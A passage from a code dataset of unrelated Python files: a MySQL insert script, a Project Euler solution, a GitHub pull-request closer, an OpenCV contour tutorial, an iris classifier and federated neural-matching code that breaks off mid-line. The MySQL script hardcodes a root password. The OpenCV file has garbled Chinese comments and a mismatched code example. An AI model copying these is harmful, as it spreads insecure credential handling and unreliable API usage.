print(f\"Error: '{err}'\")\n\n\nsql = '''\n INSERT INTO teacher (teacher_id, first_name, last_name, language_1, language_2, dob, tax_id, phone_no) \n VALUES (%s, %s, %s, %s, %s, %s, %s, %s)\n '''\n\nval = [\n (7, 'Hank', 'Dodson', 'ENG', None, '1991-12-23', 11111, '+491772345678'),\n (8, 'Sue', 'Perkins', 'MAN', 'ENG', '1976-02-02', 22222, '+491443456432')\n]\n\n\nconnection = Config.create_server_connection(\n 'localhost', 'root', 'Ro@mysql@081', 'python_integration')\nexecute_list_query(connection, sql, val)\n\n# The resemblance to the '%s' placeholder for a string in python is just coincidental \n# (and frankly, very confusing), we want to use '%s' for all data types (strings, ints, dates, etc) \n# with the MySQL Python Connector. \n","sub_path":"databases/Demo_first/Operations_one.py","file_name":"Operations_one.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"425836879","text":"import time\nimport euler\nfrom itertools import permutations\n\neuler.print_problem(41)\nstart = time.time()\n\n# ==================================================\nanswer = 0\na = '123456789'\nj = 9\nfound = False\n\nwhile not found:\n perm = permutations(a[:j])\n perm = list(perm)[::-1]\n for i in perm:\n number = int(''.join(i))\n if euler.is_prime(number):\n answer = number\n found = True\n break\n j -= 1\n\nprint(\"The Answer is: %i\" % answer)\n# ==================================================\n\nend = time.time()\ntime = end - start\n\nprint(\"This took %s seconds\" % time)\n","sub_path":"python/000-050/euler041.py","file_name":"euler041.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"240889418","text":"from com.xebialabs.xlrelease.plugin.github import GitHubUtils\nfrom org.eclipse.egit.github.core.service import PullRequestService\nfrom org.eclipse.egit.github.core.service import IssueService\n\npull_request_number = int(\"\"\"${pull_request_number}\"\"\")\nrepository_full_name = \"\"\"${repository_full_name}\"\"\"\n\ngithub_client = GitHubUtils.getGitHubClient(repository_full_name)\nrepository = GitHubUtils.createRepositoryId(repository_full_name)\npr_service = PullRequestService(github_client)\n\npr = pr_service.getPullRequest(repository, pull_request_number)\npr.setState(IssueService.STATE_CLOSED)\npr = pr_service.editPullRequest(repository, pr)\n","sub_path":"src/main/resources/github/bootstrap/step3_close_pr.py","file_name":"step3_close_pr.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"549906379","text":"# -*- coding: utf-8 -*-\n# @Time : 2017/7/12 下午8:28\n# @Author : play4fun\n# @File : 凸包-凸性检测-边界矩形-最小外接圆-拟合.py\n# @Software: PyCharm\n\n\"\"\"\n凸包-凸性检测-边界矩形-最小外接圆-拟合.py:\n\"\"\"\nimport cv2\n\n'''\n函数 cv2.convexHull() 可以用来检测一个曲线是否具有凸性缺 并能纠 正缺 。一般来 凸性曲线总是凸出来的 至少是平的。如果有地方凹 去 了就 叫做凸性缺 \n例如下图中的手。红色曲线显示了手的凸包 凸性缺 双箭头标出来了。\n'''\n# convexHull(points, hull=None, clockwise=None, returnPoints=None)\nhull = cv2.convexHull(points, hull, clockwise, returnPoints)\n\n'''\npoints 我们 传入的 廓\n• hull 输出 通常不需要 \n• clockwise 方向标志。如果 置为 True 出的凸包是顺时针 方向的。 否则为逆时针 方向。\n• returnPoints 值为 True。它会 回凸包上点的坐标。如果 置 为 False 就会 回与凸包点对应的 廓上的点。\n'''\nhull = cv2.convexHull(cnt)\n\n# 凸性检测\n# 函数 cv2.isContourConvex() 可以可以用来检测一个曲线是不是凸的。它只能 回 True 或 False。没什么大不了的。\nk = cv2.isContourConvex(cnt)\n\n# 边界矩形\n'''\n直边界矩形 一个直矩形 就是没有旋 的矩形 。它不会考虑对象是否旋转。 所以边界矩形的 积不是最小的。可以使用函数 cv2.boundingRect() 查 找得到。\n x y 为矩形左上角的坐标 w h 是矩形的宽和 。\n'''\nx, y, w, h = cv2.boundingRect(cnt)\nimg = cv2.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 2)\n\n'''\n旋 的 界矩形 个 界矩形是 积最小的 因为它考 了对 的旋 。用 到的函数为 cv2.minAreaRect()。 回的是一个 Box2D 结构 其中包含 矩形左上 点的坐标 x y 矩形的宽和 w h 以及旋 度。但是 绘制 个矩形 矩形的 4 个 点 可以 函数 cv2.boxPoints() 获 得。\n'''\nx, y, w, h = cv2.boundingRect(cnt)\nimg = cv2.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 2)\n\n# 最小外接圆\n# 函数 cv2.minEnclosingCircle() 可以帮我们找到一个对 的外切圆。它是所有能够包括对 的圆中 积最小的一个。\n(x, y), radius = cv2.minEnclosingCircle(cnt)\ncenter = (int(x), int(y))\nradius = int(radius)\nimg = cv2.circle(img, center, radius, (0, 255, 0), 2)\n\n# 椭圆拟合\n# 使用的函数为 cv2.ellipse() 回值其实就是旋 界矩形的内切圆\nellipse = cv2.fitEllipse(cnt)\nim = cv2.ellipse(im, ellipse, (0, 255, 0), 2)\n\n# 直线拟合\n# 我们可以根据一组点拟合出一条直线 同样我们也可以为图像中的白色点 拟合出一条直线。\nrows, cols = img.shape[:2]\n[vx, vy, x, y] = cv2.fitLine(cnt, cv2.DIST_L2, 0, 0.01, 0.01)\nlefty = int((-x * vy / vx) + y)\nrighty = int(((cols - x) * vy / vx) + y)\ncv2.line(img, (cols - 1, righty), (0, lefty), (0, 255, 0), 2)\n","sub_path":"ch21-轮廓Contours/凸包-凸性检测-边界矩形-最小外接圆-拟合.py","file_name":"凸包-凸性检测-边界矩形-最小外接圆-拟合.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"162410262","text":"'''Done with the guidance of http://machinelearningmastery.com/machine-learning-in-python-step-by-step/'''\n# Load libraries\nimport pandas\nfrom pandas.tools.plotting import scatter_matrix\nimport matplotlib.pyplot as plt\nfrom sklearn import model_selection\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.svm import SVC\n\n# Load dataset\ndataLocation = \"iris.data\"\nnames = ['sepal-length', 'sepal-width', 'petal-length', 'petal-width', 'class']\ndataset = pandas.read_csv(dataLocation, names=names)\n\n#We can get a quick idea of how many instances (rows) and how many attributes (columns) the data contains with the shape property.\n#print(dataset.shape)\n\n#shows the 1st 20 data entries.\n#print(dataset.head(20))\n\n#Now we can take a look at a summary of each attribute. This includes the count, mean, the min and max values as well as some percentiles.\n#print(dataset.describe())\n\n#we plot box and whisker plot for each column of input\n#dataset.plot(kind='box', subplots=False, layout=(2,2), sharex=False, sharey=False)\n#plt.show()\n\n# Split-out validation dataset\narray = dataset.values\nX = array[:,0:4]\nY = array[:,4]\nvalidation_size = 0.20\nseed = 7\nX_train, X_validation, Y_train, Y_validation = model_selection.train_test_split(X, Y, test_size=validation_size, random_state=seed)\n\n\n# Test options and evaluation metric\nseed = 7\nscoring = 'accuracy'\n\n\n# Spot Check Algorithms\nmodels = []\nmodels.append(('LR', LogisticRegression()))\nmodels.append(('LDA', LinearDiscriminantAnalysis()))\nmodels.append(('KNN', KNeighborsClassifier()))\nmodels.append(('CART', DecisionTreeClassifier()))\nmodels.append(('NB', GaussianNB()))\nmodels.append(('SVM', SVC()))\n# evaluate each model in turn\nresults = []\nnames = []\nfor name, model in models:\n\tkfold = model_selection.KFold(n_splits=10, random_state=seed)\n\tcv_results = model_selection.cross_val_score(model, X_train, Y_train, cv=kfold, scoring=scoring)\n\tresults.append(cv_results)\n\tnames.append(name)\n\tmsg = \"%s: %f (%f)\" % (name, cv_results.mean(), cv_results.std())\n\tprint(msg)\n\n# Make predictions on validation dataset\nknn = KNeighborsClassifier()\nknn.fit(X_train, Y_train)\npredictions = knn.predict(X_validation)\nprint(classification_report(Y_validation, predictions))\n","sub_path":"Python/Machine learning/Learning ML Using SKLearn/firstMachineLearningProject.py","file_name":"firstMachineLearningProject.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"435917380","text":"import numpy as np\r\nimport torch.nn as nn\r\nimport torchvision.transforms as transforms\r\nfrom options import args_parser\r\nfrom itertools import product\r\nfrom dataset_split import get_dataset, get_user_groups\r\nfrom models import CNNContainer\r\nimport torch\r\nfrom sklearn.metrics import confusion_matrix\r\nimport torch.nn.functional as F\r\nimport logging\r\nfrom scipy.optimize import linear_sum_assignment\r\n\r\n\r\ndef pdm_prepare_weights(nets):\r\n weights = []\r\n layer_i = 1\r\n statedict = nets.state_dict()\r\n net_weights = []\r\n while True:\r\n\r\n if ('fc%d.weight' % layer_i) not in statedict.keys():\r\n break\r\n\r\n layer_weight = statedict['fc%d.weight' % layer_i].numpy().T\r\n layer_bias = statedict['fc%d.bias' % layer_i].numpy()\r\n\r\n net_weights.extend([layer_weight, layer_bias])\r\n layer_i += 1\r\n\r\n weights.append(net_weights)\r\n\r\n return weights\r\n\r\n\r\ndef compute_pdm_matching_multilayer(models, train_dl, test_dl, cls_freqs, n_classes, sigma0=None, it=0, sigma=None,\r\n gamma=None):\r\n batch_weights = pdm_prepare_weights(models)\r\n batch_freqs = pdm_prepare_freq(cls_freqs, n_classes)\r\n res = {}\r\n best_test_acc, best_train_acc, best_weights, best_sigma, best_gamma, best_sigma0 = -1, -1, None, -1, -1, -1\r\n\r\n gammas = [1.0, 1e-3, 50.0] if gamma is None else [gamma]\r\n sigmas = [1.0, 0.1, 0.5] if sigma is None else [sigma]\r\n sigma0s = [1.0, 10.0] if sigma0 is None else [sigma0]\r\n\r\n for gamma, sigma, sigma0 in product(gammas, sigmas, sigma0s):\r\n print(\"Gamma: \", gamma, \"Sigma: \", sigma, \"Sigma0: \", sigma0)\r\n\r\n hungarian_weights = pdm_multilayer_group_descent(\r\n batch_weights, sigma0_layers=sigma0, sigma_layers=sigma, batch_frequencies=batch_freqs, it=it,\r\n gamma_layers=gamma)\r\n\r\n train_acc, test_acc, _, _, nets = compute_pdm_net_accuracy(hungarian_weights, train_dl, test_dl, n_classes,\r\n cls_freqs)\r\n\r\n key = (sigma0, sigma, gamma)\r\n res[key] = {}\r\n res[key]['shapes'] = list(map(lambda x: x.shape, hungarian_weights))\r\n res[key]['train_accuracy'] = train_acc\r\n res[key]['test_accuracy'] = test_acc\r\n\r\n print('Sigma0: %s. Sigma: %s. Shapes: %s, Accuracy: %f' % (\r\n str(sigma0), str(sigma), str(res[key]['shapes']), test_acc))\r\n\r\n if train_acc > best_train_acc:\r\n best_test_acc = test_acc\r\n best_train_acc = train_acc\r\n best_weights = hungarian_weights\r\n best_sigma = sigma\r\n best_gamma = gamma\r\n best_sigma0 = sigma0\r\n\r\n print('Best sigma0: %f, Best sigma: %f, Best Gamma: %f, Best accuracy (Test): %f. Training acc: %f' % (\r\n best_sigma0, best_sigma, best_gamma, best_test_acc, best_train_acc))\r\n\r\n return (best_sigma0, best_sigma, best_gamma, best_test_acc, best_train_acc, best_weights, res)\r\n\r\n\r\ndef pdm_prepare_freq(cls_freqs, n_classes):\r\n freqs = []\r\n\r\n for net_i in sorted(cls_freqs.keys()):\r\n net_freqs = [0] * n_classes\r\n\r\n for cls_i in cls_freqs[net_i]:\r\n net_freqs[cls_i] = cls_freqs[net_i][cls_i]\r\n\r\n freqs.append(np.array(net_freqs))\r\n\r\n return freqs\r\n\r\n\r\ndef row_param_cost(global_weights, weights_j_l, global_sigmas, sigma_inv_j):\r\n\r\n match_norms = ((weights_j_l + global_weights) ** 2 / (sigma_inv_j + global_sigmas)).sum(axis=1) - (\r\n global_weights ** 2 / global_sigmas).sum(axis=1)\r\n\r\n return match_norms\r\n\r\n\r\ndef compute_cost(global_weights, weights_j, global_sigmas, sigma_inv_j, prior_mean_norm, prior_inv_sigma,\r\n popularity_counts, gamma, J):\r\n\r\n Lj = weights_j.shape[0]\r\n counts = np.minimum(np.array(popularity_counts), 10)\r\n param_cost = np.array([row_param_cost(global_weights, weights_j[l], global_sigmas, sigma_inv_j) for l in range(Lj)])\r\n param_cost += np.log(counts / (J - counts))\r\n\r\n ## Nonparametric cost\r\n L = global_weights.shape[0]\r\n max_added = min(Lj, max(700 - L, 1))\r\n nonparam_cost = np.outer((((weights_j + prior_mean_norm) ** 2 / (prior_inv_sigma + sigma_inv_j)).sum(axis=1) - (\r\n prior_mean_norm ** 2 / prior_inv_sigma).sum()), np.ones(max_added))\r\n cost_pois = 2 * np.log(np.arange(1, max_added + 1))\r\n nonparam_cost -= cost_pois\r\n nonparam_cost += 2 * np.log(gamma / J)\r\n\r\n full_cost = np.hstack((param_cost, nonparam_cost))\r\n return full_cost\r\n\r\n\r\ndef matching_upd_j(weights_j, global_weights, sigma_inv_j, global_sigmas, prior_mean_norm, prior_inv_sigma,\r\n popularity_counts, gamma, J):\r\n\r\n L = global_weights.shape[0]\r\n\r\n full_cost = compute_cost(global_weights, weights_j, global_sigmas, sigma_inv_j, prior_mean_norm, prior_inv_sigma,\r\n popularity_counts, gamma, J)\r\n\r\n row_ind, col_ind = linear_sum_assignment(-full_cost)\r\n\r\n assignment_j = []\r\n\r\n new_L = L\r\n\r\n for l, i in zip(row_ind, col_ind):\r\n if i < L:\r\n popularity_counts[i] += 1\r\n assignment_j.append(i)\r\n global_weights[i] += weights_j[l]\r\n global_sigmas[i] += sigma_inv_j\r\n else: # new neuron\r\n popularity_counts += [1]\r\n assignment_j.append(new_L)\r\n new_L += 1\r\n global_weights = np.vstack((global_weights, prior_mean_norm + weights_j[l]))\r\n global_sigmas = np.vstack((global_sigmas, prior_inv_sigma + sigma_inv_j))\r\n\r\n return global_weights, global_sigmas, popularity_counts, assignment_j\r\n\r\n\r\ndef match_layer(weights_bias, sigma_inv_layer, mean_prior, sigma_inv_prior, gamma, it):\r\n J = len(weights_bias)\r\n\r\n group_order = sorted(range(J), key=lambda x: -weights_bias[x].shape[0])\r\n\r\n batch_weights_norm = [w * s for w, s in zip(weights_bias, sigma_inv_layer)]\r\n prior_mean_norm = mean_prior * sigma_inv_prior\r\n\r\n global_weights = prior_mean_norm + batch_weights_norm[group_order[0]]\r\n global_sigmas = np.outer(np.ones(global_weights.shape[0]), sigma_inv_prior + sigma_inv_layer[group_order[0]])\r\n\r\n popularity_counts = [1] * global_weights.shape[0]\r\n\r\n assignment = [[] for _ in range(J)]\r\n\r\n assignment[group_order[0]] = list(range(global_weights.shape[0]))\r\n\r\n ## Initialize\r\n for j in group_order[1:]:\r\n global_weights, global_sigmas, popularity_counts, assignment_j = matching_upd_j(batch_weights_norm[j],\r\n global_weights,\r\n sigma_inv_layer[j],\r\n global_sigmas, prior_mean_norm,\r\n sigma_inv_prior,\r\n popularity_counts, gamma, J)\r\n assignment[j] = assignment_j\r\n\r\n ## Iterate over groups\r\n for iteration in range(it):\r\n random_order = np.random.permutation(J)\r\n for j in random_order: # random_order:\r\n to_delete = []\r\n ## Remove j\r\n Lj = len(assignment[j])\r\n for l, i in sorted(zip(range(Lj), assignment[j]), key=lambda x: -x[1]):\r\n popularity_counts[i] -= 1\r\n if popularity_counts[i] == 0:\r\n del popularity_counts[i]\r\n to_delete.append(i)\r\n for j_clean in range(J):\r\n for idx, l_ind in enumerate(assignment[j_clean]):\r\n if i < l_ind and j_clean != j:\r\n assignment[j_clean][idx] -= 1\r\n elif i == l_ind and j_clean != j:\r\n print('Warning - weird unmatching')\r\n else:\r\n global_weights[i] = global_weights[i] - batch_weights_norm[j][l]\r\n global_sigmas[i] -= sigma_inv_layer[j]\r\n\r\n global_weights = np.delete(global_weights, to_delete, axis=0)\r\n global_sigmas = np.delete(global_sigmas, to_delete, axis=0)\r\n\r\n ## Match j\r\n global_weights, global_sigmas, popularity_counts, assignment_j = matching_upd_j(batch_weights_norm[j],\r\n global_weights,\r\n sigma_inv_layer[j],\r\n global_sigmas,\r\n prior_mean_norm,\r\n sigma_inv_prior,\r\n popularity_counts, gamma, J)\r\n assignment[j] = assignment_j\r\n\r\n print('Number of global neurons is %d, gamma %f' % (global_weights.shape[0], gamma))\r\n\r\n return assignment, global_weights, global_sigmas\r\n\r\n\r\ndef process_softmax_bias(batch_weights, last_layer_const, sigma, sigma0):\r\n J = len(batch_weights)\r\n sigma_bias = sigma\r\n sigma0_bias = sigma0\r\n mu0_bias = 0.1\r\n softmax_bias = [batch_weights[j][-1] for j in range(J)]\r\n softmax_inv_sigma = [s / sigma_bias for s in last_layer_const]\r\n softmax_bias = sum([b * s for b, s in zip(softmax_bias, softmax_inv_sigma)]) + mu0_bias / sigma0_bias\r\n softmax_inv_sigma = 1 / sigma0_bias + sum(softmax_inv_sigma)\r\n return softmax_bias, softmax_inv_sigma\r\n\r\n\r\ndef patch_weights(w_j, L_next, assignment_j_c):\r\n if assignment_j_c is None:\r\n return w_j\r\n new_w_j = np.zeros((w_j.shape[0], L_next))\r\n new_w_j[:, assignment_j_c] = w_j\r\n return new_w_j\r\n\r\n\r\ndef pdm_multilayer_group_descent(batch_weights, batch_frequencies, sigma_layers, sigma0_layers, gamma_layers, it,\r\n assignments_old=None):\r\n\r\n n_layers = int(len(batch_weights[0]) / 2)\r\n J = len(batch_weights)\r\n D = batch_weights[0][0].shape[0]\r\n K = batch_weights[0][-1].shape[0]\r\n\r\n if assignments_old is None:\r\n assignments_old = (n_layers - 1) * [None]\r\n if type(sigma_layers) is not list:\r\n sigma_layers = (n_layers - 1) * [sigma_layers]\r\n if type(sigma0_layers) is not list:\r\n sigma0_layers = (n_layers - 1) * [sigma0_layers]\r\n if type(gamma_layers) is not list:\r\n gamma_layers = (n_layers - 1) * [gamma_layers]\r\n\r\n if batch_frequencies is None:\r\n last_layer_const = [np.ones(K) for _ in range(J)]\r\n else:\r\n last_layer_const = []\r\n total_freq = sum(batch_frequencies)\r\n for f in batch_frequencies:\r\n result = np.divide(f, total_freq, where=total_freq != 0)\r\n last_layer_const.append(result)\r\n\r\n sigma_bias_layers = sigma_layers\r\n sigma0_bias_layers = sigma0_layers\r\n mu0 = 0.\r\n mu0_bias = 0.1\r\n assignment_c = [None for j in range(J)]\r\n L_next = None\r\n assignment_all = []\r\n\r\n ## Group descent for layer\r\n for c in range(1, n_layers)[::-1]:\r\n sigma = sigma_layers[c - 1]\r\n sigma_bias = sigma_bias_layers[c - 1]\r\n gamma = gamma_layers[c - 1]\r\n sigma0 = sigma0_layers[c - 1]\r\n sigma0_bias = sigma0_bias_layers[c - 1]\r\n if c == (n_layers - 1) and n_layers > 2:\r\n weights_bias = [np.hstack((batch_weights[j][c * 2 - 1].reshape(-1, 1), batch_weights[j][c * 2])) for j in\r\n range(J)]\r\n sigma_inv_prior = np.array([1 / sigma0_bias] + (weights_bias[0].shape[1] - 1) * [1 / sigma0])\r\n mean_prior = np.array([mu0_bias] + (weights_bias[0].shape[1] - 1) * [mu0])\r\n sigma_inv_layer = [np.array([1 / sigma_bias] + [y / sigma for y in last_layer_const[j]]) for j in range(J)]\r\n elif c > 1:\r\n weights_bias = [np.hstack((batch_weights[j][c * 2 - 1].reshape(-1, 1),\r\n patch_weights(batch_weights[j][c * 2], L_next, assignment_c[j]))) for j in\r\n range(J)]\r\n sigma_inv_prior = np.array([1 / sigma0_bias] + (weights_bias[0].shape[1] - 1) * [1 / sigma0])\r\n mean_prior = np.array([mu0_bias] + (weights_bias[0].shape[1] - 1) * [mu0])\r\n sigma_inv_layer = [np.array([1 / sigma_bias] + (weights_bias[j].shape[1] - 1) * [1 / sigma]) for j in\r\n range(J)]\r\n else:\r\n weights_bias = [np.hstack((batch_weights[j][0].T, batch_weights[j][c * 2 - 1].reshape(-1, 1),\r\n patch_weights(batch_weights[j][c * 2], L_next, assignment_c[j]))) for j in\r\n range(J)]\r\n sigma_inv_prior = np.array(\r\n D * [1 / sigma0] + [1 / sigma0_bias] + (weights_bias[0].shape[1] - 1 - D) * [1 / sigma0])\r\n mean_prior = np.array(D * [mu0] + [mu0_bias] + (weights_bias[0].shape[1] - 1 - D) * [mu0])\r\n if n_layers == 2:\r\n sigma_inv_layer = [\r\n np.array(D * [1 / sigma] + [1 / sigma_bias] + [y / sigma for y in last_layer_const[j]]) for j in\r\n range(J)]\r\n else:\r\n sigma_inv_layer = [\r\n np.array(D * [1 / sigma] + [1 / sigma_bias] + (weights_bias[j].shape[1] - 1 - D) * [1 / sigma]) for\r\n j in range(J)]\r\n\r\n assignment_c, global_weights_c, global_sigmas_c = match_layer(weights_bias, sigma_inv_layer, mean_prior,\r\n sigma_inv_prior, gamma, it)\r\n L_next = global_weights_c.shape[0]\r\n assignment_all = [assignment_c] + assignment_all\r\n\r\n if c == (n_layers - 1) and n_layers > 2:\r\n softmax_bias, softmax_inv_sigma = process_softmax_bias(batch_weights, last_layer_const, sigma, sigma0)\r\n global_weights_out = [global_weights_c[:, 0], global_weights_c[:, 1:], softmax_bias]\r\n global_inv_sigmas_out = [global_sigmas_c[:, 0], global_sigmas_c[:, 1:], softmax_inv_sigma]\r\n elif c > 1:\r\n global_weights_out = [global_weights_c[:, 0], global_weights_c[:, 1:]] + global_weights_out\r\n global_inv_sigmas_out = [global_sigmas_c[:, 0], global_sigmas_c[:, 1:]] + global_inv_sigmas_out\r\n else:\r\n if n_layers == 2:\r\n softmax_bias, softmax_inv_sigma = process_softmax_bias(batch_weights, last_layer_const, sigma, sigma0)\r\n global_weights_out = [softmax_bias]\r\n global_inv_sigmas_out = [softmax_inv_sigma]\r\n global_weights_out = [global_weights_c[:, :D].T, global_weights_c[:, D],\r\n global_weights_c[:, (D + 1):]] + global_weights_out\r\n global_inv_sigmas_out = [global_sigmas_c[:, :D].T, global_sigmas_c[:, D],\r\n global_sigmas_c[:, (D + 1):]] + global_inv_sigmas_out\r\n\r\n map_out = [g_w / g_s for g_w, g_s in zip(global_weights_out, global_inv_sigmas_out)]\r\n\r\n return map_out, assignment_all\r\n\r\n\r\ndef pdm_other_prepare_weights(nets):\r\n weights = []\r\n for net_i, net in enumerate(nets.items()):\r\n layer_i = 1\r\n statedict = nets[net_i].state_dict()\r\n net_weights = []\r\n while True:\r\n\r\n if ('fc%d.weight' % layer_i) not in statedict.keys():\r\n break\r\n\r\n layer_weight = statedict['fc%d.weight' % layer_i].numpy().T\r\n layer_bias = statedict['fc%d.bias' % layer_i].numpy()\r\n\r\n net_weights.extend([layer_weight, layer_bias])\r\n layer_i += 1\r\n\r\n weights.append(net_weights)\r\n\r\n return weights\r\n\r\n\r\ndef build_init(hungarian_weights, assignments, j):\r\n batch_init = []\r\n C = len(assignments)\r\n if len(hungarian_weights) == 4:\r\n batch_init.append(hungarian_weights[0][:, assignments[0][j]])\r\n batch_init.append(hungarian_weights[1][assignments[0][j]])\r\n batch_init.append(hungarian_weights[2][assignments[0][j]])\r\n batch_init.append(hungarian_weights[3])\r\n return batch_init\r\n for c in range(C):\r\n if c == 0:\r\n batch_init.append(hungarian_weights[c][:, assignments[c][j]])\r\n batch_init.append(hungarian_weights[c + 1][assignments[c][j]])\r\n else:\r\n batch_init.append(hungarian_weights[2 * c][assignments[c - 1][j]][:, assignments[c][j]])\r\n batch_init.append(hungarian_weights[2 * c + 1][assignments[c][j]])\r\n if c == C - 1:\r\n batch_init.append(hungarian_weights[2 * c + 2][assignments[c][j]])\r\n batch_init.append(hungarian_weights[-1])\r\n return batch_init\r\n\r\n\r\ndef compute_iterative_pdm_matching(nets,models, train_dl, test_dl, cls_freqs, n_classes, sigma, sigma0, gamma, it, old_assignment=None):\r\n\r\n batch_weights = pdm_other_prepare_weights(nets)\r\n batch_freqs = pdm_prepare_freq(cls_freqs, n_classes)\r\n\r\n hungarian_weights, assignments = pdm_multilayer_group_descent(\r\n batch_weights, batch_freqs, sigma_layers=sigma, sigma0_layers=sigma0, gamma_layers=gamma, it=it, assignments_old=old_assignment\r\n )\r\n\r\n train_acc, test_acc, conf_matrix_train, conf_matrix_test, _ = compute_pdm_net_accuracy(hungarian_weights, train_dl, test_dl, n_classes,cls_freqs)\r\n\r\n batch_weights_new = [build_init(hungarian_weights, assignments, j) for j in range(len(models))]\r\n matched_net_shapes = list(map(lambda x: x.shape, hungarian_weights))\r\n\r\n return batch_weights_new, train_acc, test_acc, matched_net_shapes, assignments, hungarian_weights, conf_matrix_train, conf_matrix_test\r\n\r\n\r\ndef record_net_data_stats(y_train, net_dataidx_map):\r\n net_cls_counts = {}\r\n for net_i, dataidx in net_dataidx_map.items():\r\n counting = {}\r\n for each in dataidx:\r\n if y_train[each] in counting:\r\n x = int(counting[y_train[each]])\r\n counting[y_train[each]] = x + 1\r\n else:\r\n counting[y_train[each]] = 1\r\n sortedDict = dict(sorted(counting.items(), key=lambda x: x[0]))\r\n net_cls_counts[net_i] = sortedDict\r\n\r\n return net_cls_counts\r\n\r\ndef load_cifar10_data(datadir):\r\n\r\n args = args_parser()\r\n cifar10_train_ds,cifar10_test_ds = get_dataset(args)\r\n X_train, y_train = cifar10_train_ds.data, cifar10_train_ds.targets\r\n X_test, y_test = cifar10_test_ds.data, cifar10_test_ds.targets\r\n return (X_train, y_train, X_test, y_test)\r\n\r\n\r\ndef partition_data(train, test, n_nets, alpha=0.5):\r\n X_train, y_train, X_test, y_test = load_cifar10_data(train)\r\n n_train = X_train.shape[0]\r\n idxs = np.random.permutation(n_train)\r\n batch_idxs = np.array_split(idxs, n_nets)\r\n net_dataidx_map = {i: batch_idxs[i] for i in range(n_nets)}\r\n print(\"net data index\", net_dataidx_map)\r\n traindata_cls_counts = record_net_data_stats(y_train, net_dataidx_map)\r\n return (X_train, y_train, X_test, y_test, net_dataidx_map, traindata_cls_counts)\r\n\r\n\r\ndef prepare_weight_matrix(n_classes, weights: dict):\r\n weights_list = {}\r\n\r\n for net_i, cls_cnts in weights.items():\r\n cls = np.array(list(cls_cnts.keys()))\r\n cnts = np.array(list(cls_cnts.values()))\r\n weights_list[net_i] = np.array([0] * n_classes, dtype=np.float32)\r\n weights_list[net_i][cls] = cnts\r\n weights_list[net_i] = torch.from_numpy(weights_list[net_i]).view(1, -1)\r\n\r\n return weights_list\r\n\r\n\r\ndef prepare_uniform_weights(n_classes, net_cnt, fill_val=1):\r\n weights_list = {}\r\n\r\n for net_i in range(net_cnt):\r\n temp = np.array([fill_val] * n_classes, dtype=np.float32)\r\n weights_list[net_i] = torch.from_numpy(temp).view(1, -1)\r\n return weights_list\r\n\r\n\r\ndef prepare_sanity_weights(n_classes, net_cnt):\r\n return prepare_uniform_weights(n_classes, net_cnt, fill_val=0)\r\n\r\n\r\ndef normalize_weights(weights):\r\n Z = np.array([])\r\n eps = 1e-3\r\n weights_norm = {}\r\n\r\n for _, weight in weights.items():\r\n if len(Z) == 0:\r\n Z = weight.data.numpy()\r\n else:\r\n Z = Z + weight.data.numpy()\r\n for mi, weight in weights.items():\r\n weights_norm[mi] = weight / torch.from_numpy(Z + eps)\r\n\r\n return weights_norm\r\n\r\n\r\ndef get_weighted_average_pred(models: list, weights: dict, images,labels,optimizer, args=args_parser()):\r\n out_weighted = None\r\n criterion = torch.nn.NLLLoss()\r\n # Compute the predictions\r\n for model_i, model in enumerate(models):\r\n out = F.log_softmax(model(images), dim=1) # (N, C)\r\n if out_weighted is None:\r\n out_weighted = (out * weights[model_i])\r\n else:\r\n out_weighted += (out * weights[model_i])\r\n\r\n return out_weighted\r\n\r\n\r\ndef compute_accuracy(model, dataloader, get_confusion_matrix=False):\r\n was_training = False\r\n if model.training:\r\n model.eval()\r\n was_training = True\r\n\r\n true_labels_list, pred_labels_list = np.array([]), np.array([])\r\n correct, total = 0, 0\r\n with torch.no_grad():\r\n for batch_idx, (x, target) in enumerate(dataloader):\r\n out = model(x)\r\n _, pred_label = torch.max(out.data, 1)\r\n total += x.data.size()[0]\r\n correct += (pred_label == target.data).sum().item()\r\n\r\n pred_labels_list = np.append(pred_labels_list, pred_label.numpy())\r\n true_labels_list = np.append(true_labels_list, target.data.numpy())\r\n if get_confusion_matrix:\r\n conf_matrix = confusion_matrix(true_labels_list, pred_labels_list)\r\n if was_training:\r\n model.train()\r\n if get_confusion_matrix:\r\n return correct,float(total), conf_matrix\r\n return correct,float(total)\r\n\r\ndef compute_ensemble_accuracy(models: list, dataloader, n_classes, train_cls_counts=None, uniform_weights=False, sanity_weights=False, args = args_parser()):\r\n\r\n dict_user= get_user_groups(args)\r\n correct, total = 0, 0\r\n true_labels_list, pred_labels_list = np.array([]), np.array([])\r\n\r\n was_training = [False]*len(models)\r\n for i, model in enumerate(models):\r\n if model.training:\r\n was_training[i] = True\r\n model.eval()\r\n optimizer = torch.optim.SGD(model.parameters(), lr=args.lr,\r\n momentum=args.momentum, weight_decay=args.weight_decay)\r\n if uniform_weights is True:\r\n weights_list = prepare_uniform_weights(n_classes, len(models))\r\n elif sanity_weights is True:\r\n weights_list = prepare_sanity_weights(n_classes, len(models))\r\n else:\r\n weights_list = prepare_weight_matrix(n_classes, train_cls_counts)\r\n weights_norm = normalize_weights(weights_list)\r\n\r\n with torch.no_grad():\r\n for batch_idx, (images, target) in enumerate(dataloader):\r\n target = target.long()\r\n out = get_weighted_average_pred(models, weights_norm, images, target, optimizer)\r\n _, pred_label = torch.max(out, 1)\r\n pred_label = pred_label.view(-1)\r\n total += images.data.size()[0]\r\n correct += (pred_label == target.data).sum().item()\r\n pred_labels_list = np.append(pred_labels_list, pred_label.numpy())\r\n true_labels_list = np.append(true_labels_list, 